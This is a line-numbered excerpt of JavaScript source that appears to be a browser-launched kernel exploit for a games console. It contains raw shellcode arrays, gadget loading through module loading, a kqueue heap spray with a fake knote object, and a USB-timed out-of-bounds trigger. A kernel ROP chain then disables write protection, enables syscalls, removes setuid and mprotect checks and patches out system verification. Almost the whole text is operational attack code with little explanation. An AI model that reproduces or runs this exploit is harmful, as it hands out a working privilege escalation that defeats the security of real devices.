275 | loader_writer[3] = 0xC748243C;
276 | loader_writer[4] = 0x10082444;
277 | loader_writer[5] = 0x483C2302;
278 | loader_writer[6] = 0x102444C7;
279 | loader_writer[7] = 0x00000000;
280 | loader_writer[8] = 0x000002BF;
281 | loader_writer[9] = 0x0001BE00;
282 | loader_writer[10] = 0xD2310000;
283 | loader_writer[11] = 0x00009CE8;
284 | loader_writer[12] = 0xC7894100;
285 | loader_writer[13] = 0x8D48C789;
286 | loader_writer[14] = 0xBA082474;
287 | loader_writer[15] = 0x00000010;
288 | loader_writer[16] = 0x000095E8;
289 | loader_writer[17] = 0xFF894400;
290 | loader_writer[18] = 0x000001BE;
291 | loader_writer[19] = 0x0095E800;
292 | loader_writer[20] = 0x89440000;
293 | loader_writer[21] = 0x31F631FF;
294 | loader_writer[22] = 0x0062E8D2;
295 | loader_writer[23] = 0x89410000;
296 | loader_writer[24] = 0x2C8B4CC6;
297 | loader_writer[25] = 0x45C64124;
298 | loader_writer[26] = 0x05EBC300;
299 | loader_writer[27] = 0x01499848;
300 | loader_writer[28] = 0xF78944C5;
301 | loader_writer[29] = 0xBAEE894C;
302 | loader_writer[30] = 0x00001000;
303 | loader_writer[31] = 0x000025E8;
304 | loader_writer[32] = 0x7FC08500;
305 | loader_writer[33] = 0xFF8944E7;
306 | loader_writer[34] = 0x000026E8;
307 | loader_writer[35] = 0xF7894400;
308 | loader_writer[36] = 0x00001EE8;
309 | loader_writer[37] = 0x2414FF00;
310 | loader_writer[38] = 0x18C48348;
311 | loader_writer[39] = 0x5E415D41;
312 | loader_writer[40] = 0x31485F41;
313 | loader_writer[41] = 0xC748C3C0;
314 | loader_writer[42] = 0x000003C0;
315 | loader_writer[43] = 0xCA894900;
316 | loader_writer[44] = 0x48C3050F;
317 | loader_writer[45] = 0x0006C0C7;
318 | loader_writer[46] = 0x89490000;
319 | loader_writer[47] = 0xC3050FCA;
320 | loader_writer[48] = 0x1EC0C748;
321 | loader_writer[49] = 0x49000000;
322 | loader_writer[50] = 0x050FCA89;
323 | loader_writer[51] = 0xC0C748C3;
324 | loader_writer[52] = 0x00000061;
325 | loader_writer[53] = 0x0FCA8949;
326 | loader_writer[54] = 0xC748C305;
327 | loader_writer[55] = 0x000068C0;
328 | loader_writer[56] = 0xCA894900;
329 | loader_writer[57] = 0x48C3050F;
330 | loader_writer[58] = 0x006AC0C7;
331 | loader_writer[59] = 0x89490000;
332 | loader_writer[60] = 0xC3050FCA;
333 | chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
334 |
335 | var pthread = p.malloc(0x10);
336 | //
337 | {
338 | chain.fcall(window.syscalls[203], payload_buffer, 0x300000);
339 | chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer);
340 | }
341 | chain.run();
342 |
343 |
344 | awaitpl();
345 | }
346 |
347 | function kernel() {
348 | extra_gadgets();
349 | kchain_setup();
350 | object_setup();
351 | trigger_spray();
352 | patch_once();
353 | }
354 |
355 | var handle;
356 | var random_path;
357 | var ex_info;
358 |
359 | function load_prx(name) {
360 | //sys_dynlib_load_prx
361 | var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0);
362 | if (res.low != 0x0) {
363 | alert("failed to load prx/get handle " + name);
364 | }
365 | //sys_dynlib_get_info_ex
366 | p.write8(ex_info, 0x1A8);
367 | res = chain.syscall(608, p.read4(handle), 0x0, ex_info);
368 | if (res.low != 0x0) {
369 | alert("failed to get module info from handle");
370 | }
371 | var tlsinit = p.read8(ex_info.add32(0x110));
372 | var tlssize = p.read4(ex_info.add32(0x11C));
373 |
374 | if (tlssize != 0) {
375 | if (name == "libSceWebKit2.sprx") {
376 | tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE);
377 | } else {
378 | alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`);
379 | }
380 | }
381 | return tlsinit;
382 | }
383 |
384 | //Obtain extra gadgets through module loading
385 | function extra_gadgets() {
386 | handle = p.malloc(0x1E8);
387 | var randomized_path_length_ptr = handle.add32(0x4);
388 | var randomized_path_ptr = handle.add32(0x14);
389 | ex_info = randomized_path_ptr.add32(0x40);
390 |
391 | p.write8(randomized_path_length_ptr, 0x2C);
392 | chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr);
393 | random_path = p.readstr(randomized_path_ptr);
394 |
395 | var ipmi_addr = load_prx("libSceIpmi.sprx");
396 | var hmd_addr = load_prx("libSceHmd.sprx");
397 | var wk2_addr = load_prx("libSceWebKit2.sprx");
398 |
399 | for (var gadget in hmd_gadgetmap) {
400 | window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]);
401 | }
402 | for (var gadget in wk2_gadgetmap) {
403 | window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]);
404 | }
405 | for (var gadget in ipmi_gadgetmap) {
406 | window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]);
407 | }
408 |
409 | for (var gadget in window.gadgets) {
410 | p.read8(window.gadgets[gadget]);
411 | //Ensure all gadgets are available to kernel.
412 | chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10);
413 | }
414 | chain.run();
415 | }
416 |
417 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
418 | function kchain_setup() {
419 | const KERNEL_busy = 0x1B28DF8;
420 |
421 | const KERNEL_bcopy = 0xACD;
422 | const KERNEL_bzero = 0x2713FD;
423 | const KERNEL_pagezero = 0x271441;
424 | const KERNEL_memcpy = 0x2714BD;
425 | const KERNEL_pagecopy = 0x271501;
426 | const KERNEL_copyin = 0x2716AD;
427 | const KERNEL_copyinstr = 0x271B5D;
428 | const KERNEL_copystr = 0x271C2D;
429 | const KERNEL_setidt = 0x312c40;
430 | const KERNEL_setcr0 = 0x1FB949;
431 | const KERNEL_Xill = 0x17d500;
432 | const KERNEL_veriPatch = 0x626874;
433 | const KERNEL_enable_syscalls_1 = 0x490;
434 | const KERNEL_enable_syscalls_2 = 0x4B5;
435 | const KERNEL_enable_syscalls_3 = 0x4B9;
436 | const KERNEL_enable_syscalls_4 = 0x4C2;
437 | const KERNEL_mprotect = 0x80B8D;
438 | const KERNEL_prx = 0x23AEC4;
439 | const KERNEL_dlsym_1 = 0x23B67F;
440 | const KERNEL_dlsym_2 = 0x221b40;
441 | const KERNEL_setuid = 0x1A06;
442 | const KERNEL_syscall11_1 = 0x1100520;
443 | const KERNEL_syscall11_2 = 0x1100528;
444 | const KERNEL_syscall11_3 = 0x110054C;
445 | const KERNEL_syscall11_gadget = 0x4c7ad;
446 | const KERNEL_mmap_1 = 0x16632A;
447 | const KERNEL_mmap_2 = 0x16632D;
448 | const KERNEL_setcr0_patch = 0x3ade3B;
449 | const KERNEL_kqueue_close_epi = 0x398991;
450 |
451 | SAVED_KERNEL_STACK_PTR = p.malloc(0x200);
452 | KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);
453 | //negative offset of kqueue string to kernel base
454 | //0xFFFFFFFFFF86B593 0x505
455 | //0xFFFFFFFFFF80E364 0x900
456 | p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF));
457 |
458 | kchain = new rop();
459 | kchain2 = new rop();
460 | //Ensure the krop stack remains available.
461 | {
462 | chain.fcall(window.syscalls[203], kchain.stackback, 0x40000);
463 | chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000);
464 | chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10);
465 | }
466 | chain.run();
467 |
468 | kchain.count = 0;
469 | kchain2.count = 0;
470 |
471 | kchain.set_kernel_var(KERNEL_BASE_PTR);
472 | kchain2.set_kernel_var(KERNEL_BASE_PTR);
473 |
474 | kchain.push(gadgets["pop rax"]);
475 | kchain.push(SAVED_KERNEL_STACK_PTR);
476 | kchain.push(gadgets["mov [rax], rdi"]);
477 | kchain.push(gadgets["pop r8"]);
478 | kchain.push(KERNEL_BASE_PTR);
479 | kchain.push(gadgets["add [r8], r12"]);
480 |
481 | //Sorry we're closed
482 | kchain.kwrite1(KERNEL_busy, 0x1);
483 | kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now.
484 |
485 |
486 | var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
487 | var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);
488 | //Modify UD
489 | kchain.push(gadgets["pop rdi"]);
490 | kchain.push(0x6);
491 | kchain.push(gadgets["pop rsi"]);
492 | kchain.push(gadgets["mov rsp, rdi"]);
493 | kchain.push(gadgets["pop rdx"]);
494 | kchain.push(0xE);
495 | kchain.push(gadgets["pop rcx"]);
496 | kchain.push(0x0);
497 | kchain.push(gadgets["pop r8"]);
498 | kchain.push(0x0);
499 | var idx1_dest = kchain.get_rsp();
500 | kchain.pushSymbolic(); // overwritten with KERNEL_setidt
501 |
502 | kchain.push(gadgets["pop rsi"]);
503 | kchain.push(0x80040033);
504 | kchain.push(gadgets["pop rdi"]);
505 | kchain.push(kchain2.stack);
506 | var idx2_dest = kchain.get_rsp();
507 | kchain.pushSymbolic(); // overwritten with KERNEL_setcr0
508 |
509 | kchain.finalizeSymbolic(idx1, idx1_dest);
510 | kchain.finalizeSymbolic(idx2, idx2_dest);
511 |
512 |
513 | //Initial patch(es)
514 | kchain2.kwrite2(KERNEL_veriPatch, 0x9090);
515 | kchain2.kwrite1(KERNEL_bcopy, 0xEB);
516 | //might as well do the others
517 | kchain2.kwrite1(KERNEL_bzero, 0xEB);
518 | kchain2.kwrite1(KERNEL_pagezero, 0xEB);
519 | kchain2.kwrite1(KERNEL_memcpy, 0xEB);
520 | kchain2.kwrite1(KERNEL_pagecopy, 0xEB);
521 | kchain2.kwrite1(KERNEL_copyin, 0xEB);
522 | kchain2.kwrite1(KERNEL_copyinstr, 0xEB);
523 | kchain2.kwrite1(KERNEL_copystr, 0xEB);
524 |
525 | //I guess you're not all that bad...
526 | kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again
527 |
528 | //Restore original UD
529 | var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
530 | var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
531 | kchain2.push(gadgets["pop rdi"]);
532 | kchain2.push(0x6);
533 | kchain2.push(gadgets["pop rsi"]);
534 | var idx3_dest = kchain2.get_rsp();
535 | kchain2.pushSymbolic(); // overwritten with KERNEL_Xill
536 | kchain2.push(gadgets["pop rdx"]);
537 | kchain2.push(0xE);
538 | kchain2.push(gadgets["pop rcx"]);
539 | kchain2.push(0x0);
540 | kchain2.push(gadgets["pop r8"]);
541 | kchain2.push(0x0);
542 | var idx4_dest = kchain2.get_rsp();
543 | kchain2.pushSymbolic(); // overwritten with KERNEL_setidt
544 |
545 | kchain2.finalizeSymbolic(idx3, idx3_dest);
546 | kchain2.finalizeSymbolic(idx4, idx4_dest);
547 |
548 | //Apply kernel patches
549 | kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
550 | //patch in reverse because /shrug
551 | kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB);
552 | kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090);
553 | kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090);
554 |
555 | kchain2.kwrite1(KERNEL_setuid, 0xEB);
556 | kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
557 | kchain2.kwrite2(KERNEL_prx, 0xE990);
558 | kchain2.kwrite1(KERNEL_dlsym_1, 0xEB);
559 | kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);
560 |
561 | kchain2.kwrite1(KERNEL_mmap_1, 0x37);
562 | kchain2.kwrite1(KERNEL_mmap_2, 0x37);
563 |
564 | kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
565 | kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
566 | kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);
567 |
568 | //Restore CR0
569 | kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F);
570 | var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);
571 | kchain2.push(gadgets["pop rdi"]);
572 | kchain2.push(0x80050033);
573 | var idx5_dest = kchain2.get_rsp();
574 | kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
575 | kchain2.finalizeSymbolic(idx5, idx5_dest);
576 |
577 | //Recover
578 | kchain2.rax_kernel(KERNEL_kqueue_close_epi);
579 | kchain2.push(gadgets["mov rdx, rax"]);
580 | kchain2.push(gadgets["pop rsi"]);
581 | kchain2.push(SAVED_KERNEL_STACK_PTR);
582 | kchain2.push(gadgets["mov rax, [rsi]"]);
583 | kchain2.push(gadgets["pop rcx"]);
584 | kchain2.push(0x10);
585 | kchain2.push(gadgets["add rax, rcx"]);
586 | kchain2.push(gadgets["mov [rax], rdx"]);
587 | kchain2.push(gadgets["pop rdi"]);
588 | var idx6 = kchain2.pushSymbolic();
589 | kchain2.push(gadgets["mov [rdi], rax"]);
590 | kchain2.push(gadgets["sti"]);
591 | kchain2.push(gadgets["pop rsp"]);
592 | var idx6_dest = kchain2.get_rsp();
593 | kchain2.pushSymbolic(); // overwritten with old stack pointer
594 | kchain2.finalizeSymbolic(idx6, idx6_dest);
595 | }
596 |
597 | function object_setup() {
598 | //Map fake object
599 | var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0);
600 | var fake_filtops = fake_knote.add32(0x4000);
601 | var fake_obj = fake_knote.add32(0x8000);
602 | if (fake_knote.low != 0x4000) {
603 | alert("enomem: " + fake_knote);
604 | while (1);
605 | }
606 | //setup fake object
607 | //KNOTE
608 | {
609 | p.write8(fake_knote, fake_obj);
610 | p.write8(fake_knote.add32(0x68), fake_filtops)
611 | }
612 | //FILTOPS
613 | {
614 | p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
615 | p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
616 | p.write8(fake_filtops.add32(0x8), kchain.stack);
617 | p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
618 | }
619 | //OBJ
620 | {
621 | p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
622 | }
623 | //Ensure the fake knote remains available
624 | chain.syscall(203, fake_knote, 0xC000);
625 | }
626 |
627 | var trigger_spray = function () {
628 |
629 | var NUM_KQUEUES = 0x1B0;
630 | var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
631 | //Make kqueues
632 | {
633 | for (var i = 0; i < NUM_KQUEUES; i++) {
634 | chain.fcall(window.syscalls[362]);
635 | chain.write_result4(kqueue_ptr.add32(0x4 * i));
636 | }
637 | }
638 | chain.run();
639 | var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES);
640 |
641 | var that_one_socket = chain.syscall(97, 2, 1, 0);
642 | if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) {
643 | alert("invalid socket");
644 | while (1);
645 | }
646 |
647 | //Spray kevents
648 | var kevent = p.malloc(0x20);
649 | p.write8(kevent.add32(0x0), that_one_socket);
650 | p.write4(kevent.add32(0x8), 0xFFFF + 0x010000);
651 | p.write4(kevent.add32(0xC), 0x0);
652 | p.write8(kevent.add32(0x10), 0x0);
653 | p.write8(kevent.add32(0x18), 0x0);
654 | //
655 | {
656 | for (var i = 0; i < NUM_KQUEUES; i++) {
657 | chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
658 | }
659 | }
660 | chain.run();
661 |
662 |
663 |
664 | //Fragment memory
665 | {
666 | for (var i = 18; i < NUM_KQUEUES; i += 2) {
667 | chain.fcall(window.syscalls[6], kqueues[i]);
668 | }
669 | }
670 | chain.run();
671 |
672 | //Trigger OOB
673 | alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it.");
674 | //Trigger corrupt knote
675 | {
676 | for (var i = 1; i < NUM_KQUEUES; i += 2) {
677 | chain.fcall(window.syscalls[6], kqueues[i]);
678 | }
679 | }
680 | chain.run();
681 |
682 | if (chain.syscall(23, 0).low == 0) {
683 | {
684 | //cleanup fake knote & release locked gadgets/stack.
685 | chain.fcall(window.syscalls[73], 0x4000, 0xC000);
686 | chain.fcall(window.syscalls[325]);
687 | }
688 | chain.run();
689 | return;
690 | }
691 | alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
692 | if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
693 | closing this alert will crash the browser for you.`);
694 | p.write8(0, 0);
695 | return;
696 | }
697 |
698 | //This disables sysveri, see patch.s for more info
699 | var patch_once = function () {
700 |
701 | var patch_buffer = chain.syscall(477, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0);
702 | var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000);
703 |
704 | patch_buffer_view[0] = 0x00000BB8;
705 | patch_buffer_view[1] = 0xFE894800;
706 | patch_buffer_view[2] = 0x033D8D48;
707 | patch_buffer_view[3] = 0x0F000000;
708 | patch_buffer_view[4] = 0x4855C305;
709 | patch_buffer_view[5] = 0x8B48E589;
710 | patch_buffer_view[6] = 0x95E8087E;
711 | patch_buffer_view[7] = 0xE8000000;
712 | patch_buffer_view[8] = 0x00000175;
713 | patch_buffer_view[9] = 0x033615FF;
714 | patch_buffer_view[10] = 0x8B480000;
715 | patch_buffer_view[11] = 0x0003373D;
716 | patch_buffer_view[12] = 0x3F8B4800;
717 | patch_buffer_view[13] = 0x74FF8548;
718 | patch_buffer_view[14] = 0x3D8D48EB;
719 | patch_buffer_view[15] = 0x0000029D;
720 | patch_buffer_view[16] = 0xF9358B48;
721 | patch_buffer_view[17] = 0x48000002;
722 | patch_buffer_view[18] = 0x0322158B;
723 | patch_buffer_view[19] = 0x8B480000;
724 | patch_buffer_view[20] = 0x00D6E812;
725 | patch_buffer_view[21] = 0x8D480000;
726 | patch_buffer_view[22] = 0x00029F3D;
727 | patch_buffer_view[23] = 0x358B4800;
728 | patch_buffer_view[24] = 0x000002E4;
729 | patch_buffer_view[25] = 0x05158B48;
730 | patch_buffer_view[26] = 0x48000003;
731 | patch_buffer_view[27] = 0xB9E8128B;
732 | patch_buffer_view[28] = 0x48000000;
733 | patch_buffer_view[29] = 0x02633D8D;
734 | patch_buffer_view[30] = 0x8B480000;
735 | patch_buffer_view[31] = 0x0002BF35;
736 | patch_buffer_view[32] = 0x158B4800;
737 | patch_buffer_view[33] = 0x000002C8;
738 | patch_buffer_view[34] = 0xE8128B48;
739 | patch_buffer_view[35] = 0x0000009C;
740 | patch_buffer_view[36] = 0x7A3D8D48;
741 | patch_buffer_view[37] = 0x48000002;
742 | patch_buffer_view[38] = 0x02AA358B;
743 | patch_buffer_view[39] = 0x8B480000;
744 | patch_buffer_view[40] = 0x0002AB15;
745 | patch_buffer_view[41] = 0x128B4800;
746 | patch_buffer_view[42] = 0x00007FE8;
747 | patch_buffer_view[43] = 0x0185E800;
748 | patch_buffer_view[44] = 0xC35D0000;
749 | patch_buffer_view[45] = 0x6D3D8948;
750 | patch_buffer_view[46] = 0x48000002;
751 | patch_buffer_view[47] = 0x026E3D01;
752 | patch_buffer_view[48] = 0x01480000;
753 | patch_buffer_view[49] = 0x00026F3D;
754 | patch_buffer_view[50] = 0x3D014800;
755 | patch_buffer_view[51] = 0x00000270;
756 | patch_buffer_view[52] = 0x713D0148;
757 | patch_buffer_view[53] = 0x48000002;
758 | patch_buffer_view[54] = 0x02723D01;
759 | patch_buffer_view[55] = 0x01480000;
760 | patch_buffer_view[56] = 0x0002933D;
761 | patch_buffer_view[57] = 0x3D014800;
762 | patch_buffer_view[58] = 0x00000294;
763 | patch_buffer_view[59] = 0x653D0148;
764 | patch_buffer_view[60] = 0x48000002;
765 | patch_buffer_view[61] = 0x02663D01;
766 | patch_buffer_view[62] = 0x01480000;
767 | patch_buffer_view[63] = 0x0002873D;
768 | patch_buffer_view[64] = 0x3D014800;
769 | patch_buffer_view[65] = 0x00000288;
770 | patch_buffer_view[66] = 0x893D0148;
771 | patch_buffer_view[67] = 0x48000002;
772 | patch_buffer_view[68] = 0x028A3D01;
773 | patch_buffer_view[69] = 0x01480000;
774 | patch_buffer_view[70] = 0x00028B3D;
775 | patch_buffer_view[71] = 0x3D014800;
776 | patch_buffer_view[72] = 0x0000024C;
777 | patch_buffer_view[73] = 0x3D3D0148;
778 | patch_buffer_view[74] = 0xC3000002;
779 | patch_buffer_view[75] = 0xE5894855;
780 | patch_buffer_view[76] = 0x10EC8348;
781 | patch_buffer_view[77] = 0x24348948;
782 | patch_buffer_view[78] = 0x24548948;
783 | patch_buffer_view[79] = 0xED15FF08;
784 | patch_buffer_view[80] = 0x48000001;
785 | patch_buffer_view[81] = 0x4B74C085;
786 | patch_buffer_view[82] = 0x48C28948;
787 | patch_buffer_view[83] = 0x4840408B;
788 | patch_buffer_view[84] = 0x2F74C085;
789 | patch_buffer_view[85] = 0x28788B48;
790 | patch_buffer_view[86] = 0x243C3B48;
791 | patch_buffer_view[87] = 0x8B480A74;
792 | patch_buffer_view[88] = 0xC0854800;
793 | patch_buffer_view[89] = 0xECEB1D74;
794 | patch_buffer_view[90] = 0x18788B48;
795 | patch_buffer_view[91] = 0x74FF8548;
796 | patch_buffer_view[92] = 0x7F8B48ED;
797 | patch_buffer_view[93] = 0x7C3B4810;
798 | patch_buffer_view[94] = 0xE2750824;
799 | patch_buffer_view[95] = 0xFF1040C7;
800 | patch_buffer_view[96] = 0x48FFFFFF;
801 | patch_buffer_view[97] = 0x31107A8D;
802 | patch_buffer_view[98] = 0x31D231F6;
803 | patch_buffer_view[99] = 0xA515FFC9;
804 | patch_buffer_view[100] = 0x48000001;
805 | patch_buffer_view[101] = 0x5D10C483;
806 | patch_buffer_view[102] = 0x894855C3;
807 | patch_buffer_view[103] = 0xC0200FE5;
808 | patch_buffer_view[104] = 0xFFFF2548;
809 | patch_buffer_view[105] = 0x220FFFFE;
810 | patch_buffer_view[106] = 0x3D8B48C0;
811 | patch_buffer_view[107] = 0x000001C8;
812 | patch_buffer_view[108] = 0x909007C7;
813 | patch_buffer_view[109] = 0x47C79090;
814 | patch_buffer_view[110] = 0x48909004;
815 | patch_buffer_view[111] = 0x358B48B8;
816 | patch_buffer_view[112] = 0x000001AC;
817 | patch_buffer_view[113] = 0x08778948;
818 | patch_buffer_view[114] = 0x651047C7;
819 | patch_buffer_view[115] = 0xC73C8B48;
820 | patch_buffer_view[116] = 0x00251447;
821 | patch_buffer_view[117] = 0x47C70000;
822 | patch_buffer_view[118] = 0x89480018;
823 | patch_buffer_view[119] = 0x1C47C738;
824 | patch_buffer_view[120] = 0xB8489090;
825 | patch_buffer_view[121] = 0x7D358B48;
826 | patch_buffer_view[122] = 0x48000001;
827 | patch_buffer_view[123] = 0xC7207789;
828 | patch_buffer_view[124] = 0xC7482847;
829 | patch_buffer_view[125] = 0x47C70100;
830 | patch_buffer_view[126] = 0x0000002C;
831 | patch_buffer_view[127] = 0x778D48E9;
832 | patch_buffer_view[128] = 0x158B4834;
833 | patch_buffer_view[129] = 0x00000150;
834 | patch_buffer_view[130] = 0x89F22948;
835 | patch_buffer_view[131] = 0x8B483057;
836 | patch_buffer_view[132] = 0x00016B35;
837 | patch_buffer_view[133] = 0x568D4800;
838 | patch_buffer_view[134] = 0xD7294805;
839 | patch_buffer_view[135] = 0xC148FF89;
840 | patch_buffer_view[136] = 0x814808E7;
841 | patch_buffer_view[137] = 0x0000E9CF;
842 | patch_buffer_view[138] = 0x3E894800;
843 | patch_buffer_view[139] = 0x00000D48;
844 | patch_buffer_view[140] = 0x220F0001;
845 | patch_buffer_view[141] = 0x55C35DC0;
846 | patch_buffer_view[142] = 0x0FE58948;
847 | patch_buffer_view[143] = 0x2548C020;
848 | patch_buffer_view[144] = 0xFFFEFFFF;
849 | patch_buffer_view[145] = 0x48C0220F;
850 | patch_buffer_view[146] = 0x013A3D8B;
851 | patch_buffer_view[147] = 0x07C70000;
852 | patch_buffer_view[148] = 0x00C3C031;
853 | patch_buffer_view[149] = 0x353D8B48;
854 | patch_buffer_view[150] = 0xC7000001;
855 | patch_buffer_view[151] = 0xC3C03107;
856 | patch_buffer_view[152] = 0x3D8B4800;
857 | patch_buffer_view[153] = 0x00000130;
858 | patch_buffer_view[154] = 0xC03107C7;
859 | patch_buffer_view[155] = 0x8B4800C3;
860 | patch_buffer_view[156] = 0x00012B3D;
861 | patch_buffer_view[157] = 0x3107C700;
862 | patch_buffer_view[158] = 0x4800C3C0;
863 | patch_buffer_view[159] = 0x00A63D8B;
864 | patch_buffer_view[160] = 0x87C70000;
865 | patch_buffer_view[161] = 0x001F1E01;
866 | patch_buffer_view[162] = 0x9090F631;
867 | patch_buffer_view[163] = 0x1E0587C7;
868 | patch_buffer_view[164] = 0xC931001F;
869 | patch_buffer_view[165] = 0x87C79090;
870 | patch_buffer_view[166] = 0x001F1E09;
871 | patch_buffer_view[167] = 0x9090D231;
872 | patch_buffer_view[168] = 0x1E3E87C7;
873 | patch_buffer_view[169] = 0xC931001F;
874 | patch_buffer_view[170] = 0x0D489090;
875 | patch_buffer_view[171] = 0x00010000;
876 | patch_buffer_view[172] = 0xFFC0220F;
877 | patch_buffer_view[173] = 0x0000EF15;
878 | patch_buffer_view[174] = 0xC0200F00;
879 | patch_buffer_view[175] = 0xFFFF2548;
880 | patch_buffer_view[176] = 0x220FFFFE;
881 | patch_buffer_view[177] = 0x3D8B48C0;
882 | patch_buffer_view[178] = 0x000000DC;
883 | patch_buffer_view[179] = 0xC03107C7;
884 | patch_buffer_view[180] = 0x0D4800C3;
885 | patch_buffer_view[181] = 0x00010000;
886 | patch_buffer_view[182] = 0x5DC0220F;
887 | patch_buffer_view[183] = 0x737973C3;
888 | patch_buffer_view[184] = 0x5F6D6574;
889 | patch_buffer_view[185] = 0x70737573;
890 | patch_buffer_view[186] = 0x5F646E65;
891 | patch_buffer_view[187] = 0x73616870;
892 | patch_buffer_view[188] = 0x705F3265;
893 | patch_buffer_view[189] = 0x735F6572;
894 | patch_buffer_view[190] = 0x00636E79;
895 | patch_buffer_view[191] = 0x74737973;
896 | patch_buffer_view[192] = 0x725F6D65;
897 | patch_buffer_view[193] = 0x6D757365;
898 | patch_buffer_view[194] = 0x68705F65;
899 | patch_buffer_view[195] = 0x32657361;
900 | patch_buffer_view[196] = 0x73797300;
901 | patch_buffer_view[197] = 0x5F6D6574;
902 | patch_buffer_view[198] = 0x75736572;
903 | patch_buffer_view[199] = 0x705F656D;
904 | patch_buffer_view[200] = 0x65736168;
905 | patch_buffer_view[201] = 0x90900033;
906 | patch_buffer_view[202] = 0x00000000;
907 | patch_buffer_view[203] = 0x00000000;
908 | patch_buffer_view[204] = 0x000F88F0;
909 | patch_buffer_view[205] = 0x00000000;
910 | patch_buffer_view[206] = 0x002EF170;
911 | patch_buffer_view[207] = 0x00000000;
912 | patch_buffer_view[208] = 0x00018DF0;
913 | patch_buffer_view[209] = 0x00000000;
914 | patch_buffer_view[210] = 0x00018EF0;
915 | patch_buffer_view[211] = 0x00000000;
916 | patch_buffer_view[212] = 0x02654110;
917 | patch_buffer_view[213] = 0x00000000;
918 | patch_buffer_view[214] = 0x00097230;
919 | patch_buffer_view[215] = 0x00000000;
920 | patch_buffer_view[216] = 0x00402E60;
921 | patch_buffer_view[217] = 0x00000000;
922 | patch_buffer_view[218] = 0x01520108;
923 | patch_buffer_view[219] = 0x00000000;
924 | patch_buffer_view[220] = 0x01520100;
925 | patch_buffer_view[221] = 0x00000000;
926 | patch_buffer_view[222] = 0x00462D20;
927 | patch_buffer_view[223] = 0x00000000;
928 | patch_buffer_view[224] = 0x00462DFC;
929 | patch_buffer_view[225] = 0x00000000;
930 | patch_buffer_view[226] = 0x006259A0;
931 | patch_buffer_view[227] = 0x00000000;
932 | patch_buffer_view[228] = 0x006268D0;
933 | patch_buffer_view[229] = 0x00000000;
934 | patch_buffer_view[230] = 0x00625DC0;
935 | patch_buffer_view[231] = 0x00000000;
936 | patch_buffer_view[232] = 0x00626290;
937 | patch_buffer_view[233] = 0x00000000;
938 | patch_buffer_view[234] = 0x00626720;
939 | patch_buffer_view[235] = 0x00000000;
940 | //lock payload / call payload / release payload
941 | {
942 | chain.fcall(window.syscalls[203], patch_buffer, 0x4000);
943 | chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR));
944 | chain.fcall(window.syscalls[73], patch_buffer, 0x4000);
945 | }
946 | chain.run();
947 | }
--------------------------------------------------------------------------------